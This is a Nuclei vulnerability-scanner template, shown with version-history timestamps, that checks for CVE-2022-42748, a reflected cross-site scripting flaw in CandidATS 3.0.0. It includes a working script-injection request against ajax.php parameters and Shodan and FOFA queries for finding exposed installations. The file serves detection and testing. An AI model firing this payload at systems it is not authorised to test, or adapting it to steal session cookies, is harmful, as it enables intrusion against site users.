nuclei-templates/http/cves/2022/CVE-2022-42748.yaml

60 lines
2.4 KiB
YAML
Raw Normal View History

2022-11-04 13:23:57 +00:00
id: CVE-2022-42748
info:
name: CandidATS 3.0.0 - Cross-Site Scripting.
2022-11-04 13:23:57 +00:00
author: arafatansari
2022-11-09 15:00:36 +00:00
severity: medium
description: |
CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation: |
To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
2022-11-04 13:23:57 +00:00
reference:
- https://fluidattacks.com/advisories/modestep/
- https://fluidattacks.com/advisories/jcole/
- https://candidats.net/
- https://nvd.nist.gov/vuln/detail/CVE-2022-42748
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-42748
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.00111
epss-percentile: 0.44292
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
2022-11-04 13:23:57 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: auieo
product: candidats
shodan-query:
- http.html:"CandidATS"
- http.html:"candidats"
2024-05-31 19:23:20 +00:00
fofa-query: body="candidats"
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,candidats,xss,auieo
2022-11-04 13:23:57 +00:00
http:
2022-11-04 13:23:57 +00:00
- method: GET
2022-11-04 13:25:38 +00:00
path:
2022-11-09 15:00:36 +00:00
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
2022-11-04 13:23:57 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-11-09 15:00:36 +00:00
- '<script>alert(document.domain)</script>'
- 'candidat'
condition: and
- type: word
part: header
words:
- text/html
2022-11-04 13:55:21 +00:00
2022-11-04 13:23:57 +00:00
- type: status
status:
- 404
# digest: 4a0a00473045022100f23f2b12ed7a3dcfe3a1b8d1cd6b788e26e84f1d6eec4b0922c96e07f74ecb8d0220320723b44542453d3129cff526399b4a778d877101dd5dc7de7ffe1fa186aa9a:922c64590222798bb761d5b6d8e72950